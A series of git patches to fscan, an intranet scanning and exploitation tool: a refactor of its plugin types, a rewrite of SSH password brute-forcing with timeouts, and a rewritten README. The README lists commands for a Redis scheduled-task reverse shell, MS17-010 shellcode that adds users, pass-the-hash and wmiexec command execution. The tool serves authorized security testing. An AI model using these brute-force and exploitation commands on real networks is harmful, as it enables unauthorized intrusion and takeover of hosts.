"fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "golang.org/x/crypto/ssh" "io/ioutil" "net" @@ -12,7 +11,7 @@ import ( ) // SshScan 执行SSH服务的认证扫描 -func SshScan(info *Config.HostInfo) (tmperr error) { +func SshScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } @@ -59,7 +58,7 @@ func SshScan(info *Config.HostInfo) (tmperr error) { } // SshConn 尝试建立SSH连接并进行认证 -func SshConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { +func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) { // 准备认证方法 var auth []ssh.AuthMethod if Common.SshKey != "" { diff --git a/Plugins/SmbGhost.go b/Plugins/SmbGhost.go index ccc6603..bffdc8e 100644 --- a/Plugins/SmbGhost.go +++ b/Plugins/SmbGhost.go @@ -3,7 +3,6 @@ package Plugins import ( "bytes" "fmt" - "github.com/shadow1ng/fscan/Config" "time" "github.com/shadow1ng/fscan/Common" @@ -96,7 +95,7 @@ const ( ) // SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数 -func SmbGhost(info *Config.HostInfo) error { +func SmbGhost(info *Common.HostInfo) error { // 如果开启了暴力破解模式,跳过该检测 if Common.IsBrute { return nil @@ -110,7 +109,7 @@ func SmbGhost(info *Config.HostInfo) error { } // SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑 -func SmbGhostScan(info *Config.HostInfo) error { +func SmbGhostScan(info *Common.HostInfo) error { // 设置扫描参数 ip := info.Host port := 445 // SMB服务默认端口 diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go index cb31323..625355c 100644 --- a/Plugins/WMIExec.go +++ b/Plugins/WMIExec.go @@ -4,7 +4,6 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "os" "strings" "time" @@ -33,7 +32,7 @@ func init() { } // WmiExec 执行WMI远程命令 -func WmiExec(info *Config.HostInfo) (tmperr error) { +func WmiExec(info *Common.HostInfo) (tmperr error) { // 如果是暴力破解模式则跳过 if Common.IsBrute { return nil @@ -98,7 +97,7 @@ func WmiExec(info *Config.HostInfo) (tmperr error) { } // Wmiexec 包装WMI执行函数 -func Wmiexec(info *Config.HostInfo, user string, pass string, hash string) (flag bool, err error) { +func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) { target := fmt.Sprintf("%s:%v", info.Host, info.Ports) wmiexec.Timeout = int(Common.Timeout) return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil) diff --git a/Plugins/WebTitle.go b/Plugins/WebTitle.go index 9e8d4f5..59eb76c 100644 --- a/Plugins/WebTitle.go +++ b/Plugins/WebTitle.go @@ -4,7 +4,6 @@ import ( "compress/gzip" "crypto/tls" "fmt" - "github.com/shadow1ng/fscan/Config" "io" "net/http" "net/url" @@ -20,7 +19,7 @@ import ( ) // WebTitle 获取Web标题并执行扫描 -func WebTitle(info *Config.HostInfo) error { +func WebTitle(info *Common.HostInfo) error { // 如果是webpoc扫描模式,直接执行WebScan if Common.Scantype == "webpoc" { WebScan.WebScan(info) @@ -52,7 +51,7 @@ func WebTitle(info *Config.HostInfo) error { } // GOWebTitle 获取网站标题并处理URL -func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckDatas) { +func GOWebTitle(info *Common.HostInfo) (err error, CheckData []WebScan.CheckDatas) { // 如果URL未指定,根据端口生成URL if info.Url == "" { switch info.Ports { @@ -120,7 +119,7 @@ func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckData // - error: 错误信息 // - string: 重定向URL或协议 // - []WebScan.CheckDatas: 更新后的检查数据 -func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { +func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { // 处理目标URL Url := info.Url if flag == 2 { diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go index 28b0e85..90165f1 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/fcgiscan.go @@ -7,7 +7,6 @@ import ( "errors" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "io" "strconv" "strings" @@ -20,7 +19,7 @@ import ( //https://github.com/wofeiwo/webcgi-exploits // FcgiScan 执行FastCGI服务器漏洞扫描 -func FcgiScan(info *Config.HostInfo) error { +func FcgiScan(info *Common.HostInfo) error { // 如果设置了暴力破解模式则跳过 if Common.IsBrute { return nil diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index 28ddba7..a28fced 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -4,7 +4,6 @@ import ( "embed" "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" "net/http" "os" @@ -19,7 +18,7 @@ var once sync.Once var AllPocs []*lib.Poc // WebScan 执行Web漏洞扫描 -func WebScan(info *Config.HostInfo) { +func WebScan(info *Common.HostInfo) { // 确保POC只初始化一次 once.Do(initpoc) diff --git a/main.go b/main.go index 5d95fbb..f2c5bce 100644 --- a/main.go +++ b/main.go @@ -3,14 +3,13 @@ package main import ( "fmt" "github.com/shadow1ng/fscan/Common" - "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/Core" "time" ) func main() { start := time.Now() - var Info Config.HostInfo + var Info Common.HostInfo Common.Flag(&Info) Common.Parse(&Info) Core.Scan(Info) From 85778a977373959beca31494099a15d9ded3cf37 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 19:30:54 +0800 Subject: [PATCH 051/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96=E9=83=A8?= =?UTF-8?q?=E5=88=86=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Core/Scanner.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Core/Scanner.go b/Core/Scanner.go index 5267860..802291b 100644 --- a/Core/Scanner.go +++ b/Core/Scanner.go @@ -83,7 +83,7 @@ func Scan(info Common.HostInfo) { wg.Wait() Common.LogWG.Wait() close(Common.Results) - fmt.Printf("[✓] 扫描已完成: %v/%v\n", Common.End, Common.Num) + fmt.Printf("[+] 扫描已完成: %v/%v\n", Common.End, Common.Num) } // executeScanStrategy 执行端口扫描策略 From 1deeb8bb7199feae391b1602a7a7a9bce4ed652d Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 19:31:32 +0800 Subject: [PATCH 052/188] =?UTF-8?q?refactor:=20=E9=87=8D=E6=9E=84SSH?= =?UTF-8?q?=E6=89=AB=E6=8F=8F=E9=83=A8=E5=88=86=EF=BC=8C=E8=B6=85=E6=97=B6?= =?UTF-8?q?=E7=94=9F=E6=95=88?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/SSH.go | 207 ++++++++++++++++++++++++++++++++++++------------- 1 file changed, 155 insertions(+), 52 deletions(-) diff --git a/Plugins/SSH.go b/Plugins/SSH.go index 6a6d319..478f4a2 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -1,6 +1,7 @@ package Plugins import ( + "context" "fmt" "github.com/shadow1ng/fscan/Common" "golang.org/x/crypto/ssh" @@ -10,41 +11,75 @@ import ( "time" ) -// SshScan 执行SSH服务的认证扫描 func SshScan(info *Common.HostInfo) (tmperr error) { if Common.IsBrute { return } fmt.Println("[+] SSH扫描模块开始...") - startTime := time.Now().Unix() + // 增加全局扫描超时 + scanCtx, scanCancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout*2)*time.Second) + defer scanCancel() - // 遍历用户名和密码字典进行认证尝试 for _, user := range Common.Userdict["ssh"] { for _, pass := range Common.Passwords { + // 使用全局 context 创建子 context + ctx, cancel := context.WithTimeout(scanCtx, time.Duration(Common.Timeout)*time.Second) + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + currentUser := user + currentPass := pass - success, err := SshConn(info, user, pass) - if success && err == nil { - return err + // 创建结果通道 + done := make(chan struct { + success bool + err error + }, 1) + + // 在 goroutine 中执行单次连接尝试 + go func() { + success, err := SshConn(ctx, info, currentUser, currentPass) + select { + case done <- struct { + success bool + err error + }{success, err}: + case <-ctx.Done(): + } + }() + + // 等待连接结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success { + cancel() + return err + } + case <-ctx.Done(): + err = fmt.Errorf("[-] 连接超时: %v", ctx.Err()) } + cancel() + // 记录失败信息 - errlog := fmt.Sprintf("[x] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", - info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err + if err != nil { + errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, currentUser, currentPass, err) + Common.LogError(errlog) + tmperr = err + } // 检查是否需要中断扫描 if Common.CheckErrs(err) { return err } - // 检查是否超时 - timeoutLimit := int64(len(Common.Userdict["ssh"])*len(Common.Passwords)) * Common.Timeout - if time.Now().Unix()-startTime > timeoutLimit { - return err + // 检查全局超时 + if scanCtx.Err() != nil { + return fmt.Errorf("扫描总时间超时: %v", scanCtx.Err()) } // 如果指定了SSH密钥,则不进行密码尝试 @@ -53,72 +88,140 @@ func SshScan(info *Common.HostInfo) (tmperr error) { } } } + fmt.Println("[+] SSH扫描模块结束...") return tmperr } -// SshConn 尝试建立SSH连接并进行认证 -func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err error) { +func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (flag bool, err error) { // 准备认证方法 var auth []ssh.AuthMethod if Common.SshKey != "" { - // 使用SSH密钥认证 pemBytes, err := ioutil.ReadFile(Common.SshKey) if err != nil { - return false, fmt.Errorf("读取密钥失败: %v", err) + return false, fmt.Errorf("[-] 读取密钥失败: %v", err) } signer, err := ssh.ParsePrivateKey(pemBytes) if err != nil { - return false, fmt.Errorf("解析密钥失败: %v", err) + return false, fmt.Errorf("[-] 解析密钥失败: %v", err) } auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} } else { - // 使用密码认证 auth = []ssh.AuthMethod{ssh.Password(pass)} } - // 配置SSH客户端 config := &ssh.ClientConfig{ - User: user, - Auth: auth, - Timeout: time.Duration(Common.Timeout) * time.Second, + User: user, + Auth: auth, HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil }, + Timeout: time.Duration(Common.Timeout) * time.Second, } - // 建立SSH连接 - client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config) - if err == nil { - defer client.Close() - session, err := client.NewSession() - if err == nil { - defer session.Close() - flag = true + // 使用带超时的 Dial + conn, err := (&net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}).DialContext(ctx, "tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports)) + if err != nil { + return false, err + } + defer conn.Close() - // 处理认证成功的情况 - if Common.Command != "" { - // 执行指定命令 - output, _ := session.CombinedOutput(Common.Command) - if Common.SshKey != "" { - Common.LogSuccess(fmt.Sprintf("[✓] SSH密钥认证成功 %v:%v\n命令输出:\n%v", - info.Host, info.Ports, string(output))) - } else { - Common.LogSuccess(fmt.Sprintf("[✓] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", - info.Host, info.Ports, user, pass, string(output))) - } + // 设置连接超时 + if deadline, ok := ctx.Deadline(); ok { + conn.SetDeadline(deadline) + } + + // 创建一个新的 context 用于 SSH 握手 + sshCtx, sshCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second) + defer sshCancel() + + // 使用 channel 来控制 SSH 握手的超时 + sshDone := make(chan struct { + client *ssh.Client + err error + }, 1) + + go func() { + sshConn, chans, reqs, err := ssh.NewClientConn(conn, fmt.Sprintf("%v:%v", info.Host, info.Ports), config) + if err != nil { + sshDone <- struct { + client *ssh.Client + err error + }{nil, err} + return + } + client := ssh.NewClient(sshConn, chans, reqs) + sshDone <- struct { + client *ssh.Client + err error + }{client, nil} + }() + + // 等待 SSH 握手完成或超时 + var client *ssh.Client + select { + case result := <-sshDone: + if result.err != nil { + return false, result.err + } + client = result.client + case <-sshCtx.Done(): + return false, fmt.Errorf("SSH握手超时: %v", sshCtx.Err()) + } + defer client.Close() + + // 创建会话 + session, err := client.NewSession() + if err != nil { + return false, err + } + defer session.Close() + + flag = true + + if Common.Command != "" { + // 执行命令的通道 + cmdDone := make(chan struct { + output []byte + err error + }, 1) + + go func() { + output, err := session.CombinedOutput(Common.Command) + select { + case cmdDone <- struct { + output []byte + err error + }{output, err}: + case <-ctx.Done(): + } + }() + + select { + case <-ctx.Done(): + return true, fmt.Errorf("命令执行超时: %v", ctx.Err()) + case result := <-cmdDone: + if result.err != nil { + return true, result.err + } + if Common.SshKey != "" { + Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, string(result.output))) } else { - // 仅记录认证成功 - if Common.SshKey != "" { - Common.LogSuccess(fmt.Sprintf("[✓] SSH密钥认证成功 %v:%v", - info.Host, info.Ports)) - } else { - Common.LogSuccess(fmt.Sprintf("[✓] SSH认证成功 %v:%v User:%v Pass:%v", - info.Host, info.Ports, user, pass)) - } + Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", + info.Host, info.Ports, user, pass, string(result.output))) } } + } else { + if Common.SshKey != "" { + Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v", + info.Host, info.Ports)) + } else { + Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v", + info.Host, info.Ports, user, pass)) + } } - return flag, err + + return flag, nil } From a0c648c5a204f78840e7867c4abb59d11abcee76 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 19:40:40 +0800 Subject: [PATCH 053/188] =?UTF-8?q?version:=202.0.0=E7=89=88=E6=9C=AC?= =?UTF-8?q?=E6=9B=B4=E6=96=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 396 +++++++++++++++++++++++++++++++----------------------- 1 file changed, 225 insertions(+), 171 deletions(-) diff --git a/README.md b/README.md index 696de4b..6062304 100644 --- a/README.md +++ b/README.md @@ -1,156 +1,189 @@ -# fscan +# Fscan 2.0.0 [English][url-docen] -# 1. 简介 -一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。 -支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。 +# 0x01 简介 +一款功能丰富的内网综合扫描工具,提供一键自动化、全方位的漏洞扫描能力。 -# 2. 主要功能 -1.信息搜集: -* 存活探测(icmp) -* 端口扫描 +## 主要功能 -2.爆破功能: -* 各类服务爆破(ssh、smb、rdp等) -* 数据库密码爆破(mysql、mssql、redis、psql、oracle等) +- 主机存活探测:快速识别内网中的活跃主机 +- 端口扫描:全面检测目标主机开放端口 +- 服务爆破:支持对常见服务进行密码爆破测试 +- 漏洞利用:集成MS17-010等高危漏洞检测 +- Redis利用:支持批量写入公钥进行权限获取 +- 系统信息收集:可读取Windows网卡信息 +- Web应用检测: + - Web指纹识别 + - Web漏洞扫描 +- 域环境探测: + - NetBIOS信息获取 + - 域控制器识别 +- 后渗透功能:支持通过计划任务实现反弹shell -3.系统信息、漏洞扫描: -* netbios探测、域控识别 -* 获取目标网卡信息 -* 高危漏洞扫描(ms17010等) +# 0x02 主要功能 +## 1. 信息搜集 +- 基于ICMP的主机存活探测:快速识别网络中的活跃主机设备 +- 全面的端口扫描:系统地检测目标主机的开放端口情况 -4.Web探测功能: -* webtitle探测 -* web指纹识别(常见cms、oa框架等) -* web漏洞扫描(weblogic、st2等,支持xray的poc) +## 2. 爆破功能 +- 常用服务密码爆破:支持SSH、SMB、RDP等多种协议的身份认证测试 +- 数据库密码爆破:覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等主流数据库系统 -5.漏洞利用: -* redis写公钥或写计划任务 -* ssh命令执行 -* ms17017利用(植入shellcode),如添加用户等 +## 3. 系统信息与漏洞扫描 +- 网络信息收集:包括NetBIOS探测和域控制器识别 +- 系统信息获取:能够读取目标系统网卡配置信息 +- 安全漏洞检测:支持MS17-010等高危漏洞的识别与检测 -6.其他功能: -* 文件保存 +## 4. Web应用探测 +- 网站信息收集:自动获取网站标题信息 +- Web指纹识别:可识别常见CMS系统与OA框架 +- 漏洞扫描能力:集成WebLogic、Struts2等漏洞检测,兼容XRay POC -# 3. 使用说明 -简单用法 -``` -fscan.exe -h 192.168.1.1/24 (默认使用全部模块) -fscan.exe -h 192.168.1.1/16 (B段扫描) +## 5. 漏洞利用模块 +- Redis利用:支持写入公钥或植入计划任务 +- SSH远程执行:提供SSH命令执行功能 +- MS17-010利用:支持ShellCode注入,可实现添加用户等操作 + +## 6. 辅助功能 +- 扫描结果存储:将所有检测结果保存至文件,便于后续分析 + +# 0x03 使用说明 +## 基础用法 +```bash +# 默认扫描(使用全部模块) +fscan.exe -h 192.168.1.1/24 + +# B段扫描 +fscan.exe -h 192.168.1.1/16 ``` -其他用法 +## 进阶用法 + +### 扫描控制 +```bash +# 跳过存活检测、不保存文件、跳过web poc扫描 +fscan.exe -h 192.168.1.1/24 -np -no -nopoc + +# 指定扫描结果保存路径 +fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt + +# 从文件导入目标 +fscan.exe -hf ip.txt ``` -fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描) -fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥) -fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell) -fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行) -fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口) -fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破) -fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径) -fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息 ) -fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞) -fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块) -fscan.exe -hf ip.txt (以文件导入) -fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080) -fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) -fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) -fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理) -fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) -fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) -fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx (wmiexec无回显命令执行) + +### 特定功能 +```bash +# Redis利用 +fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub # 写公钥 +fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 # 计划任务反弹shell + +# SSH操作 +fscan.exe -h 192.168.1.1/24 -c whoami # SSH爆破成功后执行命令 + +# 密码爆破 +fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt # 指定用户名密码文件 +fscan.exe -h 192.168.1.1/24 -m smb -pwd password # SMB密码碰撞 ``` -编译命令 + +### 代理设置 +```bash +# HTTP代理 +fscan.exe -u http://baidu.com -proxy 8080 + +# SOCKS5代理 +fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 ``` + +### 特定漏洞检测 +```bash +# MS17-010检测 +fscan.exe -h 192.168.1.1/24 -m ms17010 + +# MS17-010利用 +fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add +``` + +## 编译说明 +```bash +# 基础编译 go build -ldflags="-s -w " -trimpath main.go -upx -9 fscan.exe (可选,压缩体积) -``` -arch用户安装 -`yay -S fscan-git 或者 paru -S fscan-git` -完整参数 -``` - -c string - ssh命令执行 - -cookie string - 设置cookie - -debug int - 多久没响应,就打印当前进度(default 60) - -domain string - smb爆破模块时,设置域名 - -h string - 目标ip: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12 - -hf string - 读取文件中的目标 - -hn string - 扫描时,要跳过的ip: -hn 192.168.1.1/24 - -m string - 设置扫描模式: -m ssh (default "all") - -no - 扫描结果不保存到文件中 - -nobr - 跳过sql、ftp、ssh等的密码爆破 - -nopoc - 跳过web poc扫描 - -np - 跳过存活探测 - -num int - web poc 发包速率 (default 20) - -o string - 扫描结果保存到哪 (default "result.txt") - -p string - 设置扫描的端口: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017") - -pa string - 新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口) - -path string - fcgi、smb romote file path - -ping - 使用ping代替icmp进行存活探测 - -pn string - 扫描时要跳过的端口,as: -pn 445 - -pocname string - 指定web poc的模糊名字, -pocname weblogic - -proxy string - 设置代理, -proxy http://127.0.0.1:8080 - -user string - 指定爆破时的用户名 - -userf string - 指定爆破时的用户名文件 - -pwd string - 指定爆破时的密码 - -pwdf string - 指定爆破时的密码文件 - -rf string - 指定redis写公钥用模块的文件 (as: -rf id_rsa.pub) - -rs string - redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666) - -silent - 静默扫描,适合cs扫描时不回显 - -sshkey string - ssh连接时,指定ssh私钥 - -t int - 扫描线程 (default 600) - -time int - 端口扫描超时时间 (default 3) - -u string - 指定Url扫描 - -uf string - 指定Url文件扫描 - -wt int - web访问超时时间 (default 5) - -pocpath string - 指定poc路径 - -usera string - 在原有用户字典基础上,新增新用户 - -pwda string - 在原有密码字典基础上,增加新密码 - -socks5 - 指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080) - -sc - 指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add) +# 使用UPX压缩(可选) +upx -9 fscan.exe ``` -# 4. 运行截图 +## Arch Linux安装 +```bash +# 使用yay +yay -S fscan-git + +# 或使用paru +paru -S fscan-git +``` + +# 0x04 参数说明 + +## 目标设置 +- `-h` : 设置目标IP + - 支持单个IP:`192.168.11.11` + - 支持IP范围:`192.168.11.11-255` + - 支持多个IP:`192.168.11.11,192.168.11.12` +- `-hf` : 从文件读取目标 +- `-hn` : 设置要排除的IP范围 +- `-u` : 指定单个URL扫描 +- `-uf` : 指定URL文件扫描 + +## 扫描控制 +- `-m` : 指定扫描模式,默认为"all" +- `-t` : 设置扫描线程数,默认600 +- `-time` : 端口扫描超时时间,默认3秒 +- `-wt` : Web访问超时时间,默认5秒 +- `-debug` : 设置进度打印间隔,默认60秒 +- `-silent` : 开启静默模式,适用于CS扫描 + +## 端口配置 +- `-p` : 指定扫描端口 + - 默认端口:21,22,80,81,135,139,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017 +- `-pa` : 在默认端口基础上新增端口 +- `-pn` : 设置要排除的端口 + +## 爆破相关 +- `-user` : 指定用户名 +- `-userf` : 指定用户名文件 +- `-pwd` : 指定密码 +- `-pwdf` : 指定密码文件 +- `-usera` : 在默认用户字典基础上新增用户 +- `-pwda` : 在默认密码字典基础上新增密码 + +## Web相关 +- `-cookie` : 设置Cookie +- `-num` : Web POC发包速率,默认20 +- `-pocname` : 指定Web POC的模糊名称 +- `-pocpath` : 指定POC路径 + +## 代理设置 +- `-proxy` : 设置HTTP代理 +- `-socks5` : 设置SOCKS5代理 + +## 输出控制 +- `-o` : 设置结果保存路径,默认"result.txt" +- `-no` : 不保存扫描结果 +- `-nobr` : 跳过密码爆破 +- `-nopoc` : 跳过Web POC扫描 +- `-np` : 跳过存活探测 + +## 特殊功能 +- `-c` : SSH命令执行 +- `-domain` : SMB爆破时设置域名 +- `-rf` : Redis写公钥模块的文件路径 +- `-rs` : Redis计划任务反弹shell的IP端口 +- `-sshkey` : 指定SSH私钥路径 +- `-sc` : MS17010利用模块shellcode功能 + +## 存活探测 +- `-ping` : 使用ping代替ICMP进行存活探测 + +# 0x05 运行截图 `fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)` ![](image/1.png) @@ -175,7 +208,7 @@ arch用户安装 `go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)` ![img.png](image/live.png) -# 5. 免责声明 +# 0x06 免责声明 本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 @@ -186,10 +219,11 @@ arch用户安装 如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 + 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 -# 6. 404StarLink 2.0 - Galaxy +# 0x07 404StarLink 2.0 - Galaxy ![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png) fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 中的一环,如果对fscan 有任何疑问又或是想要找小伙伴交流,可以参考星链计划的加群方式。 @@ -197,13 +231,13 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G - [https://github.com/knownsec/404StarLink2.0-Galaxy#community](https://github.com/knownsec/404StarLink2.0-Galaxy#community) 演示视频[【安全工具】5大功能,一键化内网扫描神器——404星链计划fscan](https://www.bilibili.com/video/BV1Cv4y1R72M) -# 7. Star Chart +# 0x08 Star Chart [![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan) -# 8. 捐赠 +# 0x09 捐赠 如果你觉得这个项目对你有帮助,你可以请作者喝饮料🍹 [点我](image/sponsor.png) -# 9. 参考链接 +# 0x10 参考链接 https://github.com/Adminisme/ServerScan https://github.com/netxfly/x-crack https://github.com/hack2fun/Gscan @@ -211,36 +245,56 @@ https://github.com/k8gege/LadonGo https://github.com/jjf012/gopoc -# 10. 最近更新 -[+] 2023/11/13 加入控制台颜色输出(可-nocolor)、保存文件json结构(-json)、修改tls最低版本为1.0、端口分组(-p db,web,service)。 -[+] 2022/11/19 加入hash碰撞、wmiexec无回显命令执行。 -[+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式。 -[+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。 -[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 -新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。 -[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程。 -[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito -[+] 2022/1/11 新增oracle密码爆破。 -[+] 2022/1/7 扫ip/8时,默认会扫每个C段的网关和数个随机IP,推荐参数:-h ip/8 -m icmp.新增LiveTop功能,检测存活时,默认会输出top10的B、C段ip存活数量。 -[+] 2021/12/7 新增rdp扫描,新增添加端口参数-pa 3389(会在原有端口列表基础上,新增该端口)。 -[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞。 -[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍。 -[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接。 -[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码。 -[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等。 -[+] 2021/4/22 修改webtitle模块,加入gbk解码。 -[+] 2021/4/21 加入netbios探测、域控识别。 -[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描。 -[+] 2021/2/25 